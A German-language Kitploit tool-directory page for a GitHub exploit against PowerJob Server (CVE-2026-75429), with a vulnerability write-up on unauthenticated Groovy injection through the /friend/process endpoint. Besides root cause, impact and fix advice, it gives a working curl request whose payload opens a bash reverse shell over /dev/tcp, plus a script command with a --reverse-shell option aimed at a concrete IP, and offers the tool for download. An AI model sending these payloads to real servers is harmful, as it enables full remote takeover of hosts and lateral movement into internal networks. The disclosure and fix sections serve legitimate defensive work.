Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-75429_PowerJob_friend_process_RCE — Nicht authentifizierter Remote-Code-Execution-Exploit für PowerJob Server über Groovy-Injection im /friend/process-Endpunkt, der die Ausführung beliebiger Befehle und Reverse Shells ermöglicht. | Kitploit
Tools/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Trojaner
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

Nicht authentifizierter Remote-Code-Execution-Exploit für PowerJob Server über Groovy-Injection im /friend/process-Endpunkt, der die Ausführung beliebiger Befehle und Reverse Shells ermöglicht.

Repository anzeigen
vor 25 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PowerJob Server Remote Code Execution über nicht authentifizierten /friend/process (Groovy-Injection)

1. Zusammenfassung

Der PowerJob Server (verteiltes Job-Scheduling-/Computing-Framework) stellt den Endpunkt /friend/process auf seinem Worker↔Server-Transport-Layer-HTTP-Port 10010 ohne jegliche Authentifizierung bereit. Der Endpunkt spiegelt eine beliebige öffentliche Methode einer beliebigen Spring-Bean wider; ein Angreifer, der GroovyEvaluator.evaluate aufruft, kann beliebige Groovy-Ausdrücke ausführen und so nicht authentifizierte Remote Code Execution erreichen. Das Standard-docker-compose veröffentlicht diesen Port auf 0.0.0.0, sodass ein Server ohne jegliche Zugangsdaten vollständig kompromittiert werden kann.

2. Betroffenes Produkt

  • Produkt: PowerJob (verteiltes Job-Scheduling-/Computing-Framework)
  • Betroffene Versionen: 5.1.2 (das Transport-Layer-Design wurde aus früheren Releases übernommen; ältere Versionen sind gleichermaßen betroffen — Bericht 4.x–5.1.2)
  • Quell-Repository: https://github.com/PowerJob/PowerJob
  • Standard-Bereitstellung: docker-compose.yml:29-33,47-48 veröffentlicht 10010 (HTTP-Transport), 10086 (AKKA), 10077 (MU) auf dem Host 0.0.0.0

3. Schwachstellen-Stelle

ElementWert
Auslösender EndpunktPOST http://<server>:10010/friend/process
RegistrierungFriendActor.java @Actor(path = "friend") + @Handler(path = "process") (für alle drei Protokolle registriert: HTTP/MU/AKKA)
Reflektive AusführungRemoteRequestProcessor.processRemoteRequest()
Gefährliche SenkeGroovyEvaluator.evaluate() → ScriptEngine.eval()
Fehlende AuthentifizierungHttpVertxCSInitializer (HTTP) / MuServerHandler (MU) registrieren Routen ohne jegliche Token-/Signaturprüfung

Wichtige Quelldateien (relativ zum Repository-Stammverzeichnis):

  • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (registriert die 10010-Routen, keine Authentifizierung)
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
  • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. Grundursache

  1. Null Authentifizierung auf dem Transport-Layer: PowerJob behandelt die Kommunikationsprotokolle zwischen Worker und Server (HTTP/AKKA/MU) als Zone des "internen Vertrauens". Jeder Host, der die Ports 10010/10086/10077 erreichen kann, wird als legitimer Knoten behandelt; es gibt keinen Handshake und keine Signatur.
  2. Beliebige Bean-Reflexion: RemoteRequestProcessor.processRemoteRequest vertraut den Feldern className, methodName, parameterTypes und args des Anforderungstexts vollständig — es verwendet Class.forName + SpringUtils.getBean, um eine beliebige Spring-Bean zu erhalten, und ruft dann über Spring ReflectionUtils eine beliebige ihrer öffentlichen Methoden auf.
  3. Erreichbare gefährliche Methode: GroovyEvaluator ist eine @Component-Bean, deren evaluate(String, Object) die Groovy-Script-Engine (ScriptEngineManager) aufruft, um den Ausdruck des Angreifers direkt per eval() auszuführen.

Die Kombination der drei Faktoren ergibt nicht authentifizierte RCE.

5. Angriffsszenario (Voraussetzung: nur Netzwerkerreichbarkeit zu Port 10010)

  1. Der Angreifer sendet ein HTTP-POST an Port 10010 des PowerJob-Servers (kein Cookie/Token erforderlich).
  2. Der Anforderungstext ist eine RemoteProcessReq-JSON, die auf GroovyEvaluator.evaluate mit einem beliebigen Groovy-Ausdruck abzielt (z. B. 'id'.execute().text).
  3. Der Server ruft die Methode reflektiv auf; die Groovy-Engine wertet den Ausdruck aus.
  4. Das Ergebnis der Befehlsausführung wird dem Angreifer in AskResponse.data (Base64-JSON) zurückgegeben.
  5. Der Angreifer kann Groovy auch verwenden, um beliebige Dateien zu schreiben, eine Reverse-Shell zu starten oder Daten zu exfiltrieren.

6. Reproduktion (verifiziert)

Umgebung: JDK 17, aus dem Quellcode erstellte powerjob-server-starter-5.1.2.jar (daily-Profil), Server lauscht auf 192.168.49.128:10010. Erneut verifiziert auf JDK 21 (das Shell-Form-Payload unten funktioniert auf beiden; siehe Hinweis zu File.write unten).

root@kitploit:~
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
  "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
  "methodName": "evaluate",
  "parameterTypes": ["java.lang.String","java.lang.Object"],
  "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'

Tatsächliche Antwort: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. Die Base64-Decodierung des data-Felds ergibt die Befehlsausgabe, die auf der Server-JVM ausgeführt wurde:

image

Alternativ können Sie es mit dem Skript reproduzieren:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. Beobachtet vs. Erwartet

  • Beobachtet: eine nicht authentifizierte HTTP-Anfrage führt dazu, dass der Server beliebige Befehle ausführt.
  • Erwartet: /friend/process ist Teil der internen Server↔Worker-Kommunikation; es sollte nicht authentifizierte Anfragen ablehnen, oder die Methode sollte überhaupt nicht remote aufrufbar sein.

8. Auswirkungen

  • Vertraulichkeit: Hoch — beliebige Dateien/Speicher/Zugangsdaten auf dem Server lesbar.
  • Integrität: Hoch — beliebiges Dateischreiben, Manipulation von Konfiguration und Jobs.
  • Verfügbarkeit: Hoch — kann Prozesse/Dienste beenden.
  • Auswirkungsgrenze: Serverprozess → Host (mit den Rechten des Dienstbenutzers); bei einer Standard-Bereitstellung kann der Angreifer lateral in das interne Netzwerk des Hosts vordringen.

9. Vorgeschlagener Fix

  1. Fügen Sie dem Transport-Layer eine gegenseitige Server/Worker-Authentifizierung (Token/Signatur) hinzu und validieren Sie die Quelle; setzen Sie 10010/10086/10077 nicht dem öffentlichen Internet aus.
  2. Ändern Sie RemoteRequestProcessor in eine Whitelist: Beschränken Sie className/methodName auf framework-definierte sichere Handler und verbieten Sie die reflektive Invokation beliebiger Beans.
  3. Entfernen oder beschränken Sie die Remote-Erreichbarkeit von GroovyEvaluator strikt (falls es erhalten bleiben muss, fügen Sie Authentifizierung und eine Sandbox hinzu).
  4. Deaktivieren Sie /friend/process (S4S_HANDLER_PROCESS) standardmäßig oder beschränken Sie es nur auf interne Quellen.

10. CWE

  • Primär: CWE-94 (Unzureichende Kontrolle der Generierung von Code — Groovy-Injection)
  • Sekundär: CWE-470 (Verwendung extern kontrollierter Eingaben zur Auswahl von Klassen oder Code — beliebige Bean-Reflexion), CWE-306 (Fehlende Authentifizierung für kritische Funktion)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Kritisch

12. Umgebung

  • Betriebssystem: Ubuntu 22.04 / Linux 6.8
  • JDK: 17.0.19 (ursprüngliche Reproduktion); erneut verifiziert auf OpenJDK 21.0.11
  • Build: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
  • Datenbank: MariaDB 10.6 (nicht erforderlich — /friend/process ist ohne Datenbank auslösbar)
  • Ausführung: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
Tool herunterladen